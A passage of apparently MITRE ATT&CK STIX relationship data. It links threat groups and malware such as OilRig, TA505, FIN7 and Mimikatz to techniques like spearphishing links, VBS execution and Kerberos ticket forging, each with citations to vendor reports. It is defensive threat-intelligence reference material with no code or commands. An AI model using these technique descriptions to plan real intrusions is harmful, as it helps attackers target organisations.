            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing email links attempting to get a user to click.(Citation: Proofpoint Leviathan Oct 2017)",
            "relationship_type": "uses",
            "id": "relationship--f81ae9dc-3299-480f-817c-a5b65cfc38d7",
            "type": "relationship",
            "modified": "2020-03-17T14:45:09.619Z",
            "created": "2020-03-17T14:45:09.619Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.",
                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
                    "source_name": "Cylance Machete Mar 2017"
                },
                {
                    "source_name": "Securelist Machete Aug 2014",
                    "url": "https://securelist.com/el-machete/66108/",
                    "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."
                },
                {
                    "source_name": "ESET Machete July 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                }
            ],
            "description": "[Machete](https://attack.mitre.org/groups/G0095) has has relied on users opening malicious links delivered through spearphishing to execute malware.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)",
            "relationship_type": "uses",
            "id": "relationship--ba84c2c2-e5bf-432e-9827-6d622490ba2d",
            "type": "relationship",
            "modified": "2020-03-17T14:46:40.015Z",
            "created": "2020-03-17T14:46:40.015Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                },
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                },
                {
                    "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.",
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/",
                    "source_name": "Crowdstrike Helix Kitten Nov 2018"
                }
            ],
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has delivered malicious links to achieve execution on the target system.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)",
            "relationship_type": "uses",
            "id": "relationship--952edf61-e906-4ab5-989f-1d6a5dd95dce",
            "type": "relationship",
            "modified": "2020-03-17T14:52:21.694Z",
            "created": "2020-03-17T14:52:21.694Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "description": "Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter",
                    "source_name": "Proofpoint TA505 Sep 2017"
                },
                {
                    "description": "Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times",
                    "source_name": "Proofpoint TA505 June 2018"
                },
                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."
                },
                {
                    "description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.",
                    "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware",
                    "source_name": "Cybereason TA505 April 2019"
                },
                {
                    "description": "Proofpoint Staff. (2018, July 19). TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT. Retrieved April 19, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat",
                    "source_name": "ProofPoint SettingContent-ms July 2018"
                },
                {
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware",
                    "source_name": "Proofpoint TA505 Mar 2018"
                },
                {
                    "source_name": "Trend Micro TA505 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/",
                    "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."
                },
                {
                    "source_name": "Proofpoint TA505 October 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader",
                    "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."
                }
            ],
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has used lures to get users to click links in emails and attachments. For example, [TA505](https://attack.mitre.org/groups/G0092) makes their malware look like legitimate Microsoft Word documents, .pdf and/or .lnk files. (Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: Cybereason TA505 April 2019)(Citation: ProofPoint SettingContent-ms July 2018)(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)",
            "relationship_type": "uses",
            "id": "relationship--71ee0311-3fdc-4baf-8c3e-2143416b742c",
            "type": "relationship",
            "modified": "2020-05-29T20:09:49.528Z",
            "created": "2020-03-17T15:01:32.560Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "target_ref": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0",
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has moved staged encrypted archives to Internet-facing servers that had previously been compromised with [China Chopper](https://attack.mitre.org/software/S0020) prior to exfiltration.(Citation: SecureWorks BRONZE UNION June 2017)",
            "relationship_type": "uses",
            "id": "relationship--fa8d15db-498b-45f5-8cc1-bf4cf70e2e62",
            "type": "relationship",
            "modified": "2020-03-17T15:07:32.378Z",
            "created": "2020-03-17T15:07:32.378Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "[APT1](https://attack.mitre.org/groups/G0006) uses two utilities, GETMAIL and MAPIGET, to steal email. MAPIGET steals email still on Exchange servers that has not yet been archived.(Citation: Mandiant APT1)",
            "relationship_type": "uses",
            "id": "relationship--4eb5fba5-be97-4103-9b52-f77e02765fad",
            "type": "relationship",
            "modified": "2020-03-17T16:17:15.348Z",
            "created": "2020-03-17T16:17:15.348Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "relationship_type": "revoked-by",
            "id": "relationship--5fa955eb-63da-4281-8904-03f6c04c9d8d",
            "type": "relationship",
            "modified": "2020-03-17T16:21:36.718Z",
            "created": "2020-03-17T16:21:36.718Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f",
            "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b",
            "external_references": [
                {
                    "url": "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.",
                    "source_name": "Securelist GCMAN"
                }
            ],
            "description": "[GCMAN](https://attack.mitre.org/groups/G0036) uses VNC for lateral movement.(Citation: Securelist GCMAN)",
            "relationship_type": "uses",
            "id": "relationship--35f5caad-87d0-46c5-b2b6-eb69b0eda6bd",
            "type": "relationship",
            "modified": "2020-03-17T16:53:09.920Z",
            "created": "2020-03-17T16:53:09.920Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3",
            "target_ref": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27",
            "external_references": [
                {
                    "url": "https://github.com/EmpireProject/Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "source_name": "Github PowerShell Empire"
                }
            ],
            "description": "[Empire](https://attack.mitre.org/software/S0363) can leverage its implementation of [Mimikatz](https://attack.mitre.org/software/S0002) to obtain and use silver tickets.(Citation: Github PowerShell Empire)",
            "relationship_type": "uses",
            "id": "relationship--fde62a7a-0ed1-4077-8275-ebb63eecdd2a",
            "type": "relationship",
            "modified": "2021-04-09T14:47:00.133Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "target_ref": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27",
            "external_references": [
                {
                    "source_name": "GitHub Mimikatz kerberos Module",
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos",
                    "description": "Deply, B., Le Toux, V.. (2016, June 5). module ~ kerberos. Retrieved March 17, 2020."
                }
            ],
            "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s kerberos module can create silver tickets.(Citation: GitHub Mimikatz kerberos Module)",
            "relationship_type": "uses",
            "id": "relationship--bf080191-d58e-4834-8b4f-7315df4d76bf",
            "type": "relationship",
            "modified": "2020-03-19T23:37:02.700Z",
            "created": "2020-03-17T17:37:09.197Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "target_ref": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1",
            "external_references": [
                {
                    "source_name": "GitHub Mimikatz kerberos Module",
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos",
                    "description": "Deply, B., Le Toux, V.. (2016, June 5). module ~ kerberos. Retrieved March 17, 2020."
                }
            ],
            "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s kerberos module can create golden tickets.(Citation: GitHub Mimikatz kerberos Module)",
            "relationship_type": "uses",
            "id": "relationship--7b8254f2-bfbb-4775-aaf8-3b5fa3457ee9",
            "type": "relationship",
            "modified": "2020-03-19T23:37:02.702Z",
            "created": "2020-03-17T17:37:09.217Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) uses cmd.exe to execute commands on the victim\u2019s machine.(Citation: Unit 42 Kazuar May 2017)",
            "relationship_type": "uses",
            "id": "relationship--fcd2604b-6954-4bd8-b0c6-22221b6dd1ce",
            "type": "relationship",
            "modified": "2020-03-17T18:17:38.300Z",
            "created": "2020-03-17T18:17:38.300Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used macros, COM scriptlets, and VBS scripts.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017) ",
            "relationship_type": "uses",
            "id": "relationship--b019ea9e-afc4-4015-b690-677a09178feb",
            "type": "relationship",
            "modified": "2020-03-17T18:19:22.984Z",
            "created": "2020-03-17T18:19:22.984Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                },
                {
                    "source_name": "Trend Micro Tick November 2019",
                    "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf",
                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."
                }
            ],
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used VBS and VBE scripts for execution.(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)",
            "relationship_type": "uses",
            "id": "relationship--529360d5-172a-4326-b993-e3af75d3e7af",
            "type": "relationship",
            "modified": "2020-06-24T01:27:32.169Z",
            "created": "2020-03-17T18:23:51.085Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "external_references": [
                {
                    "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/",
                    "source_name": "CoinTicker 2019"
                }
            ],
            "description": "[CoinTicker](https://attack.mitre.org/software/S0369) executes a Python script to download its second stage.(Citation: CoinTicker 2019)",
            "relationship_type": "uses",
            "id": "relationship--b85862ff-5bde-4f6e-8483-901bab69a3a2",
            "type": "relationship",
            "modified": "2020-03-17T18:46:03.873Z",
            "created": "2020-03-17T18:46:03.873Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "description": "[Comnie](https://attack.mitre.org/software/S0244) executes VBS scripts.(Citation: Palo Alto Comnie)",
            "relationship_type": "uses",
            "id": "relationship--87c25621-eef0-49ae-b4ef-9eac3b7ef841",
            "type": "relationship",
            "modified": "2020-03-17T18:47:41.084Z",
            "created": "2020-03-17T18:47:41.084Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "source_name": "Talos Group123",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html"
                }
            ],
            "description": "[APT37](https://attack.mitre.org/groups/G0067) executes shellcode and a VBA script to decode Base64 strings.(Citation: Talos Group123)",
            "relationship_type": "uses",
            "id": "relationship--e7e7718a-b0e1-48cb-a9e8-bcbd0cf25cec",
            "type": "relationship",
            "modified": "2020-06-23T19:36:25.179Z",
            "created": "2020-03-17T18:52:24.021Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "FireEye FIN7 Aug 2018",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
                },
                {
                    "source_name": "Flashpoint FIN 7 March 2019",
                    "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/",
                    "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019."
                }
            ],
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) used the command prompt to launch commands on the victim\u2019s machine.(Citation: FireEye FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019) ",
            "relationship_type": "uses",
            "id": "relationship--cbf95438-c89f-451f-9895-eaeb3fb65104",
            "type": "relationship",
            "modified": "2020-03-17T19:00:50.258Z",
            "created": "2020-03-17T19:00:50.258Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "source_name": "FireEye FIN7 Aug 2018",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
                },
                {
                    "source_name": "Flashpoint FIN 7 March 2019",
                    "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/",
                    "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019."
                }
            ],
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) used VBS scripts to help perform tasks on the victim's machine.(Citation: FireEye FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)",
            "relationship_type": "uses",
            "id": "relationship--3f0e6cfa-7edc-4eaa-bc03-754d0f46d605",
            "type": "relationship",
            "modified": "2020-03-17T19:00:50.263Z",
            "created": "2020-03-17T19:00:50.263Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.",
                    "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research",
                    "source_name": "Cybereason Astaroth Feb 2019"
                }
            ],
            "description": "[Astaroth](https://attack.mitre.org/software/S0373) spawns a CMD process to execute commands. (Citation: Cybereason Astaroth Feb 2019)",
            "relationship_type": "uses",
            "id": "relationship--f1286eda-5b9a-4fd9-a506-bcc3b2870550",
            "type": "relationship",
            "modified": "2020-03-17T19:02:00.669Z",
            "created": "2020-03-17T19:02:00.669Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.",
                    "url": "https://blog.morphisec.com/cobalt-gang-2.0",
                    "source_name": "Morphisec Cobalt Gang Oct 2018"
                },
                {
                    "source_name": "Talos Cobalt Group July 2018",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"
                },
                {
                    "source_name": "PTSecurity Cobalt Group Aug 2017",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf"
                },
                {
                    "source_name": "Group IB Cobalt Aug 2017",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "url": "https://www.group-ib.com/blog/cobalt"
                },
                {
                    "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.",
                    "url": "https://blog.morphisec.com/cobalt-gang-2.0",
                    "source_name": "Morphisec Cobalt Gang Oct 2018"
                },
                {
                    "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/",
                    "source_name": "Unit 42 Cobalt Gang Oct 2018"
                },
                {
                    "source_name": "TrendMicro Cobalt Group Nov 2017",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/",
                    "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019."
                }
            ],
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used a JavaScript backdoor that is capable of launching cmd.exe to execute shell commands.(Citation: Morphisec Cobalt Gang Oct 2018) The group has used an exploit toolkit known as Threadkit that launches .bat files.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: Group IB Cobalt Aug 2017)(Citation: Morphisec Cobalt Gang Oct 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)(Citation: TrendMicro Cobalt Group Nov 2017)",
            "relationship_type": "uses",
            "id": "relationship--a0493e99-06ba-4f40-9aae-6f7f9bad6caa",
            "type": "relationship",
            "modified": "2020-03-20T15:40:43.374Z",
            "created": "2020-03-17T19:14:38.092Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "description": "One version of [Helminth](https://attack.mitre.org/software/S0170) consists of VBScript scripts.(Citation: Palo Alto OilRig May 2016)",
            "relationship_type": "uses",
            "id": "relationship--610fcccc-c03a-4bd1-8f86-95802fe33cba",
            "type": "relationship",
            "modified": "2020-03-17T19:15:25.998Z",
            "created": "2020-03-17T19:15:25.998Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
